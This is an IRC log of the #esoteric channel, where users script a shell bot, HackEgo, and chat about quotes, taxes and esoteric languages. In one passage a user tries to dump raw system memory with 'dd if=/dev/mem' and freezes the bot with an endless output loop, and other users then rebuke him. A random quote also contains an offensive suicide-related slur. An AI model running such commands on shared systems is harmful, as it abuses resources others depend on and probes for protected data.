02:32:57 <HackEgo> 1/495:1) <Slereah> EgoBot just opened a chat session with me to say "bork bork bork" \ 2) <Quas_NaArt> Hmmmmmmmm... My fingers and tongue seem to be as quick as ever, but my lips have definitely weakened... <Quas_NaArt> More practice is in order. \ 3) <AnMaster> that's where I got it <AnMaster> rocket launch facility gift shop \ 4) <Warr
02:33:02 <shachaf> `` allquotes | shuf | sport
02:33:04 <HackEgo> 1/495:154) <Sgeo> How much do mainframes cost these days? I mean, they're obsoleteish, right? My notebook's much more powerful? So surely, they're cheap? \ 346) <elliott_> I'm not even going to try and understand what you're proposing. <oerjan> i understand it perfectly. it's completely nuts. \ 1229) <oerjan> i guess norway just isn
02:33:06 <shachaf> `spam
02:33:08 <HackEgo> 2/495:'t cold \ 1235) <elliott> `addquote <olsner> boily: thanks for getting quoted saying django btw, now I'm only in 87.5% of the django quotes [...] <olsner> ah, the inevitable result of mentioning django \ 1030) <elliott> beautiful summer / massacres in qusayr / sent from my iphone \ 1036) <oerjan> this new apartment stuff has int
02:33:12 <shachaf> `spam
02:33:13 <HackEgo> 3/495:eresting side effects: i'm now getting physical spam. \ 325) <zzo38> Learn to be Chinese and kill yourself \ 483) <Phantom_Hoover> I keep asking random people for "friendship <thing>" and it's crippling \ 811) <Fiora> omg <Fiora> that JIT is really amazing [...] <Gregor> I hear if you listen carefully to the rustling wind on a
02:33:17 <oerjan> also, if anyone manages to use more than 2 digits before the slash, they'll probably be kickbanned hth
02:33:37 <shachaf> Well, you can fast-forward with echo n > tmp/spline
02:34:23 <shachaf> `mkx bin/speek//echo "$1" > /tmp/hackenv/spline
02:34:26 <HackEgo> bin/speek
02:34:31 <shachaf> `mkx bin/speek//echo "$1" > /tmp/hackenv/spline; spam
02:34:34 <HackEgo> bin/speek
02:34:35 <shachaf> `speek 495
02:34:36 <HackEgo> ​/hackenv/bin/speek: line 1: /tmp/hackenv/spline: No such file or directory \ 4/495:warm night with a full moon, you can hear the sound of the JIT building ARM functions. \ 78) <ais523> theory: some amused deity is making the laws of physics up as they go along \ 1064) <kmc> ah yes, like the parable of jesus feeding the masses with expired jell-o
02:34:39 <oerjan> shachaf: you're splitting in the middle of lines? that could give problems with unicode.
02:34:43 <shachaf> `spam
02:34:44 <HackEgo> 5/495:elliott> they're very unlikely to fuck up Xfce, and it can be made to work basically exactly like gnome two \ 1014) <elliott> sometimes i wake up and my name has grown more consonants \ 286) <crystal-cola> I just thought you might have meant the Ramanujan tau and I was WOAH he weilds heavy weapons \ 42) <GregorR> ??? <GregorR>
02:34:51 <shachaf> Oops.
02:34:57 <shachaf> `mkx bin/speek//echo "$1" > /hackenv/tmp/spline; spam
02:35:00 <HackEgo> bin/speek
02:35:01 <shachaf> `speek 495
02:35:03 <HackEgo> 495/495:'t exactly NIH. They have their own variant of it. \ 63) <fedoragirl> My mascot is a tree of broccoli. \
02:35:06 <shachaf> `spam
02:35:07 <HackEgo> 496/495:
02:35:13 <shachaf> oerjan: feel free to fix it to not do that twh
02:35:56 <shachaf> oerjan: No sarcasm or anything there. It would help.
02:36:05 <shachaf> I mean, not that "twh" is ever sarcastic or anything.
02:36:50 <shachaf> If you wanted to be nice you could split it on a natural word or newline boundary if it happened to be near the end.
02:37:07 <shachaf> Say, within 20 bytes.
02:42:07 <shachaf> Or even more than that, really.
02:42:43 <shachaf> Say, just write out as many lines as can fit without breaking.
02:45:25 <shachaf> That would be a better system, really.
02:45:32 <shachaf> Except if there are really long lines.
02:46:11 <shachaf> `speek 131
02:46:14 <HackEgo> 131/495:) <kmc> most things i hear about 'startup culture' set off the poe's law detector \ 1233) <fungot> boily: the proc is invoked. before or after the evaluator transfers control to a certain class of anime characters with long hair and loud music \ 907) <Sgeo> Actually, just as a guess, J might be worse than APL because it's restri
02:46:48 <shachaf> `spam
02:46:50 <HackEgo> 132/495:cted to normal (ascii?) characters, I guess \ 1174) * Sgeo remembers when he believed VRML could never have gravity. Now VRML is dead. <Sgeo> (And has gravity) \ 827) <Jafet> The world needs better healthcare, social justice and wealth distribution, but a monads library for clojure surely won't hurt \ 956) <boily> it's raining
02:47:24 <shachaf> `` rgrep '' wisdom | sport
02:47:38 <HackEgo> 1/344:wisdom/6 random numbers:4 8 15 16 23 42 \ wisdom/¯\(°_o)/¯:¯\(°_o)/¯ `? ¯\(°_o)/¯ \ wisdom/quote:Quotes are just elements of the quantum dilapidated bogosphere. See qdb. \ wisdom/heck:Heck is where you end up if you don't believe in Gosh. \ wisdom/nooga:no. \ wisdom/soup:What soup, Doc? \ wisdom/kitt:Kitt is the singula
02:47:42 <shachaf> `` cd wisdom; rgrep '' * | sport
02:47:47 <HackEgo> 1/325:`:` is the prefix to greatness. \ `?:`? ¯\(°​_o)/¯ \ `? `?:Yes, you're very clever \ ^:^ (also notated by ⊕ or ⊻) is the exclusive-or operator; ∧ (also notated by /\ or &) is the and (conjunction) operator; ^ (also notated by ↑ or ** or ⋆) is the power operator. \ ==:Did you know you can define == recursively!? \
02:47:51 -!- jaboja has joined.
02:47:54 <shachaf> `speek 170
02:47:56 <HackEgo> 170/325: tough! \ mathematimu:A mathematimu is a quantum of mathematics. If you observe it, its codepoint can change. \ maths:Maths stands for Mathematical Anti-Telharsic Harfatum Septomin. \ mauke:mauke is a Master Archer. Caution! He can shoot your PRIVMSG with creative arrows! \ maybe:Maybe a is Just a or Nothing \ md5:MD5 is a hash
03:42:25 -!- jaboja has quit (Remote host closed the connection).
04:04:03 -!- olsner has quit (Ping timeout: 240 seconds).
04:21:54 <shachaf> `` allquotes | shuf | sport
04:22:05 <HackEgo> 1/495:143) <fungot> elliott: i like scsh's mechanism best: it's most transparent and doesn't really serve a very useful feature. \ 577) <Pavitra> That was me being *nice*. I could have made the request by word of mouth to my My Little Pony toys and it would count. \ 45) <Madelon> yay fire! * Madelon combusts spontaneously. \ 1099) <
04:51:59 <\oren\> aaaaaa what is this?
04:52:06 -!- adu has quit (Quit: adu).
04:55:29 -!- moon_ has joined.
04:55:34 <moon_> Hi
04:56:04 <oerjan> \oren\: what seems to be the problem?
04:57:12 <\oren\> I scrolled up
05:01:21 <oerjan> shocking
05:05:00 <moon_> Lol should i be happy i wasnt here?
05:05:31 <shachaf> `spam
05:05:38 <moon_> Oh
05:05:39 <HackEgo> 2/495:metasepia> `addquote \item <elliott\_> `addquote <olsner> two quotes about quotes about django <olsner> I guess the worst part is that I appear in all three hackego quotes about django \\ <olsner> elliott\_: another quote? you're not helping \texttt{:/} ← and three giraffes. \ 984) <kmc> hm hitler probably did one thing that I
05:06:06 <shachaf> `spam
05:06:09 <HackEgo> 3/495: like too <kmc> he banned tubas, I guess I am neutral on tubas <Fiora> oh! he killed hitler <kmc> oh yeah, there we go <kmc> thanks Fiora <Bike> he also killed the guy who killed hitler \ 154) <Sgeo> How much do mainframes cost these days? I mean, they're obsoleteish, right? My notebook's much more powerful? So surely, the
05:06:20 <moon_> `cat spam
05:06:22 <HackEgo> cat: spam: No such file or directory
05:06:29 <moon_> `cat bin/spam
05:06:31 <HackEgo> line="$(cat /hackenv/tmp/spline)"; len="$(wc -l /hackenv/tmp/spout | awk '{print $1}')"; echo -n "$line/$len:"; sed -n "${line}p" /hackenv/tmp/spout; echo "$((line+1))" > /hackenv/tmp/spline
05:06:45 <shachaf> oerjan: vaguely tempted to make a version of sport that's automatically part of ``
05:07:26 -!- adu has joined.
05:07:43 <oerjan> shachaf: then you can implement more
05:07:59 <shachaf> more?
05:08:06 <oerjan> `more
05:08:07 <HackEgo> Usage: more [options] file... \ \ Options: \ -d display help instead of ring bell \ -f count logical, rather than screen lines \ -l suppress pause after form feed \ -p suppress scroll, clean screen and disblay text \ -c suppress scroll, display text and clean line ends \ -u suppress underlining
05:08:15 <oerjan> well, more like
05:08:16 <shachaf> Yes, that's what spore is named after.
05:08:16 <oerjan> @more
05:08:17 <shachaf> spam more
05:08:33 <shachaf> Oh. Yes. That was the idea.
05:08:37 -!- adu has quit (Client Quit).
05:11:41 <moon_> A good replacement for more is 'sed '${line}p' '
05:12:39 <oerjan> moon_: well that's why bin/spam uses it?
05:25:27 -!- MDude has joined.
05:29:57 <zzo38> I wrote (not yet complete, but almost finished) a program "har" which is like "tar" but it deal with Hamster archive instead of tape archive. Three commands are same as tar, which as 'c', 't', and 'x' (there are other commands available too). To append, use 'c' with >> shell operator. To concatenate, use cat.
05:30:22 <shachaf> What's the difference between a hamster and a tape?
05:47:32 <lifthrasiir> rotation symmetry?
05:50:39 <shachaf> `spam
05:50:59 <HackEgo> 4/495:y're cheap? \ 54) * oerjan swats FireFly since he's easier to hit -----### <FireFly> Meh * FireFly dies \ 1115) <ais523> hmm… I guess the difference between me and most esolangers is that I don't instantly go and put it into a BF derivative and call it a day \ 1003) <olsner> I've seen horses jump on tv, they can probably jum
05:52:39 <shachaf> FireFly: wait a minute
05:52:44 <shachaf> you don't seem dead
05:52:54 <shachaf> `spam
05:53:15 <HackEgo> 5/495:p in scotland too \ 170) <Sgeo> Oh. Stuff that uses actual physical numbers stemming from science. Bleh *gets bored* \ 734) <elliott> gah <elliott> this language is of the devil <elliott> oklopol: you're meant to use your powers for _good_ \ 190) <asiekierka> GCC: -Os -O2 -O3 gives a 4x improvment \ 236) <zzo38> Why do you wan
06:02:01 <zzo38> shachaf: Maybe it depend what kind of tape, such as audio tape or video tape.
06:02:20 <shachaf> I thought tar archived onto a Turing machine tape.
06:03:00 <shachaf> You have to write your Turing machine code securely.
06:03:06 <shachaf> Otherwise you might get a tapeworm.
06:05:55 -!- adu has joined.
06:09:53 <zzo38> How my "har" program is available at http://zzo38computer.org/prog/har.c it is 2929 bytes long.
06:11:33 <zzo38> I think it is much simpler than tar.
06:13:47 <shachaf> You're serving it with a content-type my browser doesn't recognize, so it not convenient to look at it.
06:14:15 <lifthrasiir> tar is by definition a legacy format
06:14:22 <zzo38> Add view-source: to the front to view in the browser, or use the command: curl 'http://zzo38computer.org/prog/har.c' | less
06:47:47 -!- adu has quit (Quit: adu).
06:53:21 <moon_> d
06:53:28 <moon_> ok its alive
06:54:17 -!- adu has joined.
07:01:44 <hppavilion[1]> ...huh
07:02:01 <hppavilion[1]> The guy who does Crash Course seems to be the guy who wrote The Fault in Our Stars
07:02:02 <hppavilion[1]> Weird
07:06:25 -!- moon__ has joined.
07:06:25 -!- moon_ has quit (Read error: Connection reset by peer).
07:14:37 <moon__> D
07:14:43 <moon__> ok im alivw
07:14:45 <moon__> goodie
07:15:32 <oerjan> "he was almost alive, but unfortunately slightly off key"
07:15:37 -!- coppro has joined.
07:17:51 <hppavilion[1]> oerjan: "We did what we thought was the best and most merciful thing to do."
07:18:28 <moon__> `getconf LONG_BIT
07:18:39 <hppavilion[1]> `kill moon__
07:18:43 <moon__> SHOULD WORK IF I T- caps
07:19:01 <HackEgo> 64
07:19:01 <HackEgo> kill: failed to parse argument: 'moon__'
07:19:05 <moon__> I wana know the bitwidth >_<
07:19:08 <moon__> yay
07:19:41 <moon__> I am not a process, i am a lifeform
07:19:46 <hppavilion[1]> Bearing may be the best youtube channel I have ever encountered
07:19:50 <hppavilion[1]> Not just for the politics
07:19:53 <moon__> Unless we are in the matrix...
07:20:01 <hppavilion[1]> But because the sprites he uses are awesome
07:20:03 <moon__> *bad joke*
07:20:39 <hppavilion[1]> moon__: Technically, a life form is still a process (or, well, a process hierarchy), and someone in the matrix is still a lifeform
07:20:47 <hppavilion[1]> moon__: Have you even /seen/ The Matrix?
07:21:01 <moon__> Nope! Xp
07:21:19 <hppavilion[1]> moon__: Then you are not qualified to joke about it.
07:21:27 <hppavilion[1]> moon__: May I see your license and registration?
07:22:02 <moon__> `echo "!!"
07:22:05 <HackEgo> ​"!!"
07:22:09 <moon__> Damnit
07:22:15 <moon__> `echo !!
07:22:15 <HackEgo> ​!!
07:22:20 -!- MDude has changed nick to MDream.
07:22:23 <moon__> It shouldve returned the ;ast cpmmand
07:22:28 <moon__> `` echo !!
07:22:30 <HackEgo> ​!!
07:22:37 <moon__> >_<
07:22:47 <hppavilion[1]> moon__: How would it do that?
07:22:57 <shachaf> And I thought I was being spammy.
07:22:58 <hppavilion[1]> `echo `!!`
07:22:59 <HackEgo> ​`!!`
07:23:04 <hppavilion[1]> `` echo `!!`
07:23:06 <HackEgo> ​/hackenv/bin/`: line 4: !!: command not found
07:23:09 <moon__> Im confuzzled
07:23:11 <hppavilion[1]> Nope
07:23:17 <shachaf> Can you leave it alone? What you're trying to do won't work.
07:23:24 <moon__> echo "!!" > foo.sh shpuld give the last command in a script..
07:23:24 <shachaf> You can find that out in /msg.
07:24:18 <hppavilion[1]> ...OK
07:24:22 <hppavilion[1]> What is a "Dank Meme"?
07:24:56 <shachaf> @wn dank
07:24:58 <lambdabot> *** "dank" wn "WordNet (r) 3.0 (2006)"
07:24:58 <lambdabot> dank
07:24:59 <lambdabot> adj 1: unpleasantly cool and humid; "a clammy handshake";
07:25:01 <lambdabot> "clammy weather"; "a dank cellar"; "dank rain forests"
07:25:03 <lambdabot> [syn: {clammy}, {dank}]
07:25:04 <shachaf> hth
07:25:41 <moon__> `` sudo dd if=/dev/mem | cat | strings
07:25:44 <HackEgo> ​/hackenv/bin/`: line 4: sudo: command not found
07:25:51 <moon__> Damn )=
07:26:10 <moon__> Dont hurt me
07:26:36 <moon__> `` dd if=/dev/mem | cat | strings
07:26:38 <HackEgo> dd: opening `/dev/mem': Permission denied
07:26:44 <moon__> Daww
07:26:47 <hppavilion[1]> shachaf: ...yeah. I figured that this dank has nothing to do with that dank.
07:27:06 <moon__> Its used in the terms of 'old' now dont kill me
07:27:28 <hppavilion[1]> shachaf: Given that patterns of human behavior and copyable activities tend to not be describable in terms of temperature and humidity
07:27:29 <shachaf> You can do your non-modifying experiments in /msg and then, when they work, you can demonstrate them to people in the channel.
07:28:07 <shachaf> "dank" is marijuana slang for "good"
07:28:22 <shachaf> But you can find that out using the Google.
07:28:47 <hppavilion[1]> Ah
07:29:09 <hppavilion[1]> shachaf: See, but I don't particularly want to be associated with marijuana slang by what is pretty much the biggest company on the internet
07:29:32 <hppavilion[1]> Hm...
07:29:45 <hppavilion[1]> If They Are the 99%, then what are we?
07:29:47 <hppavilion[1]> Hm...
07:30:03 <hppavilion[1]> #esoteric has 100 people at a time
07:30:11 <hppavilion[1]> There are 7.3 billion people on earth...
07:30:11 <moon__> ik
07:30:12 <hppavilion[1]> Hm...
07:30:21 <moon__> Oh gof
07:30:24 <moon__> Tiny number alert
07:30:44 <moon__> Sound the alarms!
07:31:21 <shachaf> Who is the 99%?
07:31:24 <hppavilion[1]> So...
07:31:41 <hppavilion[1]> We are the 1.3698630136986302e-10%‽
07:31:58 <hppavilion[1]> shachaf: The people not in the 1% duh
07:32:02 <hppavilion[1]> s/duh/hth/
07:32:15 <hppavilion[1]> The 1% being the richfolks
07:32:28 <hppavilion[1]> Hm...
07:32:32 <hppavilion[1]> Now that I look at it
07:32:45 <moon__> How come hackego has no lsof
07:32:49 <hppavilion[1]> If the channel has 100 occupants (which it, at this exact moment, does)
07:33:04 <hppavilion[1]> That means that- statistically- 1 person on this channel is hyperrich
07:33:17 <moon__> Not me
07:33:38 <hppavilion[1]> moon__: Well duh; it can't be you because there's only room for one hyperrich person and that person is fungot.
07:33:38 <fungot> hppavilion[1]: when this load is done i think i'll run freebsd on an ultra, it refused to install the program correctly the first time
07:33:39 <hppavilion[1]> hth.
07:33:47 <shachaf> It's copumpkin for sure.
07:34:11 <hppavilion[1]> (I always read fungot expecting fim to make sense and trying to figure out what fe means, but fe never does...)
07:34:11 <fungot> hppavilion[1]: the speed new and faster hardware is developed is just too ugly
07:34:36 <hppavilion[1]> Well, that almost made sense, AND is accurate
07:37:21 -!- adu has quit (Quit: adu).
07:37:46 <moon__> Guys i think i found a zombie maker: ( command & ) (i cant trust all soruces tho)
07:49:52 <moon__> I killed the chat
07:50:00 <oerjan> BRAINS
07:50:13 <shachaf> `? oerjan
07:50:18 <HackEgo> Your mysterious adjectival cackling overlord emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, "amortized" pops up instead. His arch-nemesis is Betty Crocker.
07:50:35 <shachaf> What does "lazy expert in future computation" mean?
07:50:54 <oerjan> `` sed -i 's/emeritus/zombie/' wisdom/oerjan
07:51:07 <shachaf> Ah, good, not retired.
07:51:12 <shachaf> I was going to do something like that.
07:51:24 * oerjan whistles innocently
07:51:52 <oerjan> shachaf: it means i might eventually get around to it if needed hth
07:51:55 <shachaf> curses
07:52:03 <shachaf> foiled again
07:53:23 <oerjan> https://www.youtube.com/watch?v=w-0TEJMJOhk
07:58:49 <moon__> I regret executing
07:58:53 <moon__> yes "$(seq 232 255;seq 254 -1 233)" | while read i; do printf "\x1b[48;5;${i}m\n"; sleep .01; done
07:59:08 <moon__> It froze haxego
07:59:19 <moon__> Nvm
07:59:21 <moon__> hea alive
07:59:30 <moon__> fizzie on?
07:59:51 <moon__> Because on his/her end, it must be really colorful
08:01:09 <moon__> `` yes "$(seq 232 255;seq 254 -1 233)" | while read i; do printf "\x1b[48;5;${i}m\n"; sleep .01; done
08:03:12 <moon__> Hackego
08:03:15 <moon__> pls respond
08:05:02 <moon__> ;-; dont murder me shachaf
08:05:15 <shachaf> What if you stopped abusing the bot, though?
08:05:26 <moon__> I will >->
08:05:45 -!- xkapastel has quit (Quit: Connection closed for inactivity).
08:09:12 -!- lambda-11235 has quit (Quit: Bye).
08:10:51 <moon__> `ls
08:10:53 <HackEgo> ​!\.´ \ advice \ bin \ canary \ cdescs \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ logs \ misle \ paste \ ply-3.8 \ ps \ quine \ quines \ quotes \ share \ src \ sysconfval \ theorems \ tmflry \ tmp \ tmp334234 \ wisdom \ wisdom.pdf
08:11:00 <moon__> ...
08:11:10 * moon__ slaps hackego's cpu
08:12:29 <shachaf> `culprits tmp334234
08:12:50 <oerjan> moon__: why would you expect fizzie to see the output of that
08:12:51 <HackEgo> moon__
08:13:00 <shachaf> `culprits sysconfval
08:13:06 <HackEgo> moon__ moon__
08:13:08 <shachaf> `rm tmp334234 sysconfval
08:13:09 <HackEgo> rm: cannot remove `tmp334234 sysconfval': No such file or directory
08:13:14 <shachaf> `` rm tmp334234 sysconfval
08:13:17 <HackEgo> No output.
08:13:30 <moon__> Fizzie has admin access to hackego
08:13:44 <shachaf> What if you just stopped doing all those things?
08:14:13 * oerjan brings up an extra lawn chair for shachaf
08:15:08 <shachaf> Hmm, http://codu.org/projects/hackbot/fshg/index.cgi/rev/6576966b7d24 doesn't show the final space.
08:15:37 <shachaf> This suggests that if you wrote a Whitespace program in HackEgo, it wouldn't show up in the commit log.
08:15:48 <shachaf> But you could always look itup in the other log, I guess.
08:18:49 <shachaf> `undo 8180
08:18:58 <HackEgo> patching file wisdom/#esoteric \ Hunk #1 FAILED at 1. \ 1 out of 1 hunk FAILED -- saving rejects to file wisdom/#esoteric.rej
08:19:22 <shachaf> `` rm $(lastfiles)
08:19:33 <HackEgo> No output.
08:20:09 <shachaf> Oh well.
08:21:33 <shachaf> oerjan: Anyway you seem like the opposite of a grouch to me.
08:22:16 <oerjan> i do?
08:22:42 <oerjan> i could have fooled me.
08:23:01 <shachaf> For example you're pretty welcoming in this channel.
08:23:06 <oerjan> `? #esoteric
08:23:07 <shachaf> Whereas I seem to be just the opposite.
08:23:09 <HackEgo> ​#esoteric is the only channel that exists. After monqy left it became slightly off-centër. It's about 30 m (100 ft) across. oerjan seems to be making a lawn in the northern part, but it keeps getting dug up by free ranging moons. May contain crude drawings of nuts.
08:23:53 <oerjan> `` hg log 8180
08:23:57 <HackEgo> No output.
08:24:01 <oerjan> hmph
08:24:44 <shachaf> `sled wisdom/#esoteric//s/exists/doesn't exist/
08:24:48 <HackEgo> wisdom/#esoteric//#esoteric is the only channel that doesn't exist. After monqy left it became slightly off-centër. It's about 30 m (100 ft) across. oerjan seems to be making a lawn in the northern part, but it keeps getting dug up by free ranging moons. May contain crude drawings of nuts.
08:25:00 <shachaf> Not sure that it's appropriate.
08:25:43 <shachaf> `? oerjan
08:25:46 <HackEgo> Your mysterious adjectival cackling overlord emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, "amortized" pops up instead. His arch-nemesis is Betty Crocker.
08:25:57 <shachaf> Does "Lately" mean only in the evening and early morning?
08:26:39 <oerjan> well when else am i awake
08:26:52 <shachaf> At night.
08:26:58 <shachaf> But I guess that's also covered.
08:26:58 <oerjan> ic
08:27:41 <oerjan> i do not yet recall it popping up in my dreams.
08:29:49 <shachaf> Maybe I should just move to Norway.
08:29:54 <shachaf> I hear the pizza is good.
08:31:56 <shachaf> Seems that the tax rate isn't much higher than California? Sometimes people talk about how much higher it is or something.
08:32:34 <shachaf> Well, maybe somewhat higher.
08:33:21 <shachaf> Oh, but there's a wealth tax.
08:33:30 <shachaf> Not a good place for 1%ers like hppavilion[1].
08:40:33 <oerjan> it's a disputed tax. the current government has got it reduced a bit.
08:40:44 <oerjan> and ideally want to abolish it.
08:43:44 <coppro> tax?
08:44:18 <oerjan> tax.
08:45:04 <oerjan> 0.85% of net wealth if i'm reading correctly.
08:45:39 <oerjan> *wealth above 1 200 000 kr
08:47:27 <coppro> ahh
08:47:34 <oerjan> the leftish parties like it because it's about the only direct tax that actually gets anything from rich people.
08:47:52 <oerjan> but we currently have a right wing government.
08:48:33 <coppro> no income tax? or just full of loopholes
08:48:41 <oerjan> full of loopholes
08:49:34 -!- olsner has joined.
08:50:07 <shachaf> I used a tax loophole myself this year. It was great.
08:50:59 <coppro> I need to hire a loopholer^Waccountant
08:51:35 <shachaf> What sorts of loopholes do you use?
08:51:42 <shachaf> I didn't use an accountant, though maybe I should've.
08:54:59 <coppro> that's what I want to figure out
08:55:20 <coppro> before the tax deductions I get for having spent money on university run out
08:58:24 -!- incomprehensibly has quit (Remote host closed the connection).
08:58:45 <shachaf> But you're in Canada, right?
09:03:51 <shachaf> Hmm, RRSP/TFSA looks way better than IRA/401k.
09:03:56 <shachaf> You don't even need loopholes.
09:06:05 <moon__> `url mk
09:06:09 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/mk
09:06:32 <moon__> `url bin/mk
09:06:37 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/bin/mk
09:10:55 -!- oerjan has quit (Quit: Nite).
09:12:40 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
09:24:54 <moon__> Airterm for android is really handy
09:28:35 <zzo38> Do you have a picture which has NTSC data for a colour picture but it is grayscale instead because it is the raw data?
09:31:06 <shachaf> Who, me?
09:32:04 <moon__> `url bin/echo-p
09:32:07 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/bin/echo-p
09:36:08 <izabera> what's that useful for
09:37:46 -!- yorick_ has joined.
09:37:46 -!- yorick_ has quit (Changing host).
09:37:46 -!- yorick_ has joined.
09:38:04 -!- zgrep_ has joined.
09:38:29 -!- Melvar` has joined.
09:39:06 -!- Nithogg_ has quit (Ping timeout: 264 seconds).
09:39:08 -!- Melvar has quit (Ping timeout: 264 seconds).
09:39:08 -!- yorick has quit (Ping timeout: 264 seconds).
09:39:08 -!- zgrep has quit (Ping timeout: 264 seconds).
09:39:08 -!- int-e has quit (Ping timeout: 264 seconds).
09:40:00 -!- Nithogg_ has joined.
09:40:38 -!- zgrep_ has changed nick to zgrep.
09:43:05 -!- int-e has joined.
09:49:20 <HackEgo> [wiki] [[User:Nosomebodies]] https://esolangs.org/w/index.php?diff=47111&oldid=47075 * Nosomebodies * (+123)
09:52:43 -!- incomprehensibly has joined.
10:06:41 -!- hppavilion[1] has joined.
10:12:50 -!- Phantom_Hoover has joined.
10:20:52 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
10:35:30 <fizzie> izabera: The intended use is for ... > $(echo-p "$foo") to be able to redirect to "$foo" even if it contains slashes, by making any necessary directories transparently.
10:38:27 <b_jonas> `wisdom
10:38:29 <b_jonas> `random-card
10:38:36 <b_jonas> `? zygohistomorphic prepromorphisms
10:38:52 <HackEgo> Dwarven Hold \ Land \ Dwarven Hold enters the battlefield tapped. \ You may choose not to untap Dwarven Hold during your untap step. \ At the beginning of your upkeep, if Dwarven Hold is tapped, put a storage counter on it. \ {T}, Remove any number of storage counters from Dwarven Hold: Add {R} to your mana pool for each storage counter removed thi
10:38:53 <HackEgo> A zygohistomorphic prepromorphism is used when you really need both semi-mutual recursion and history and to repeatedly apply a natural transformation as you get deeper into the functor.
10:38:54 <HackEgo> me//Me is a proud member of the tEaM.
10:40:01 <b_jonas> that's a strange card (it's from Fallen Empires).
10:58:53 -!- Effilry has joined.
10:59:52 -!- FireFly has quit (Ping timeout: 244 seconds).
11:02:07 -!- incomprehensibly has quit (Remote host closed the connection).
11:03:14 -!- Elronnd\StD has quit (Read error: Connection reset by peer).
11:04:39 -!- Elronnd has joined.
11:05:17 -!- hkgit03 has joined.
11:05:49 -!- cnr has quit (Ping timeout: 260 seconds).
11:06:03 -!- APic has quit (Ping timeout: 240 seconds).
11:06:24 -!- Hoolootwo has quit (Ping timeout: 260 seconds).
11:07:34 -!- Hoolootwo has joined.
11:11:54 -!- cnr has joined.
11:13:05 -!- incomprehensibly has joined.
11:15:37 -!- APic has joined.
11:16:13 -!- rntz has quit (*.net *.split).
11:16:13 -!- Deewiant has quit (*.net *.split).
11:25:04 -!- Hoolootwo has quit (Ping timeout: 260 seconds).
11:26:33 -!- Hoolootwo has joined.
11:33:38 -!- boily has joined.
11:33:57 -!- Melvar` has changed nick to Melvar.
11:37:50 -!- Koen_ has joined.
11:41:42 -!- Reece` has joined.
11:46:11 -!- Deewiant has joined.
11:49:44 -!- rntz has joined.
11:56:31 -!- gamemanj has joined.
12:17:32 -!- boily has quit (Quit: RING CHICKEN).
13:02:59 <gamemanj> Does boily has a "random quit message" script or something?
13:03:03 <gamemanj> With an affection for chicken?
13:28:22 -!- Reece` has quit (Ping timeout: 260 seconds).
13:31:20 -!- Reece` has joined.
13:36:17 -!- gamemanj has quit (Quit: Leaving).
13:42:21 -!- Sgeo has quit (Ping timeout: 240 seconds).
13:48:06 -!- Effilry has changed nick to FireFly.
13:54:59 -!- Vorpal has quit (Ping timeout: 260 seconds).
14:21:28 -!- hkgit03 has quit (Quit: http://www.kiwiirc.com/ - A hand crafted IRC client).
14:27:15 -!- spiette has joined.
14:33:09 <HackEgo> [wiki] [[Talk:Efghij]] https://esolangs.org/w/index.php?diff=47113&oldid=47012 * Timwi * (+136)
14:36:23 <HackEgo> [wiki] [[Nondeterministic Super Mario Bros.]] N https://esolangs.org/w/index.php?oldid=47114 * B jonas * (+3658) Created page with "'''Nondeterministic Super Mario Bros.''' is the decision problem that takes a custom world map and levels of the NES ''Super Mario Bros.'' game as its input, and decides wheth..."
14:45:49 -!- Koen_ has quit (Remote host closed the connection).
14:53:07 -!- `^_^v has joined.
14:55:00 -!- xkapastel has joined.
15:01:39 -!- moon_ has joined.
15:01:53 <moon_> hi
15:10:49 <fizzie> @tell gamemanj Sometimes the chicken is appropriate to surrounding context. I've been assuming it's all manual.
15:10:49 <lambdabot> Consider it noted.
15:15:53 -!- Koen_ has joined.
15:15:54 <fizzie> @tell gamemanj You may be interested in the following chicken statistics gathered from my logs: http://sprunge.us/FIcQ
15:15:55 <lambdabot> Consider it noted.
15:16:21 <fizzie> @tell gamemanj As you can see, the vast majority of chickens are as unique as a SNOWFLAKE CHICKEN.
15:16:22 <lambdabot> Consider it noted.
15:26:20 -!- moon_ has quit (Ping timeout: 250 seconds).
15:34:19 <izabera> what's the opposite of falling in love in english?
15:34:36 <izabera> climbing out of love?
15:34:43 <quintopia> falling out of love
15:34:43 <izabera> unfalling in love?
15:34:53 <izabera> aww the most boring way
15:35:22 <quintopia> you have no control...gravity always decides
15:39:03 <Koen_> does this mean one ends up in a state even lower than love?
15:51:05 <fizzie> Second law of something-dynamics.
15:57:22 <izabera> http://www.egillantonsson.com/ related
15:58:36 <izabera> crappy pic tho
15:58:57 -!- adu has joined.
16:00:38 <HackEgo> [wiki] [[Special:Log/upload]] upload * Timwi * uploaded "[[File:NUSSPLI (Ackermann function).jpg]]": The NUSSPLI function in [[efghij]].
16:01:27 <HackEgo> [wiki] [[Special:Log/move]] move * Timwi * moved [[File:NUSSPLI (Ackermann function).jpg]] to [[File:Efghij — NUSSPLI function.jpg]]
16:03:03 <HackEgo> [wiki] [[Efghij]] https://esolangs.org/w/index.php?diff=47118&oldid=47011 * Timwi * (+496)
16:21:06 -!- mtve has quit (Quit: Terminated with extreme prejudice - dircproxy 1.2.0).
16:25:44 <HackEgo> [wiki] [[Efghij]] https://esolangs.org/w/index.php?diff=47119&oldid=47118 * Timwi * (+1760) Restructure
16:26:00 <HackEgo> [wiki] [[Efghij]] https://esolangs.org/w/index.php?diff=47120&oldid=47119 * Timwi * (+15)
16:33:32 -!- Moon_ has joined.
16:36:10 <HackEgo> [wiki] [[Efghij]] https://esolangs.org/w/index.php?diff=47121&oldid=47120 * Timwi * (+1623) /* Example: NUSSPLI (Ackermann function) */ Expand full explanation
16:41:00 -!- jaboja has joined.
16:43:37 <myname> wtf
16:49:35 -!- Koen__ has joined.
16:51:01 -!- Koen_ has quit (Ping timeout: 240 seconds).
16:52:52 <Moon_> boo
16:54:22 -!- s1nceri7y has joined.
16:54:44 <Moon_> wot
16:58:24 -!- lambda-11235 has joined.
17:03:24 -!- Moon_ has quit (Ping timeout: 250 seconds).
17:22:10 -!- jaboja has quit (Ping timeout: 260 seconds).
17:23:12 -!- s1nceri7y has quit (Quit: bye.).
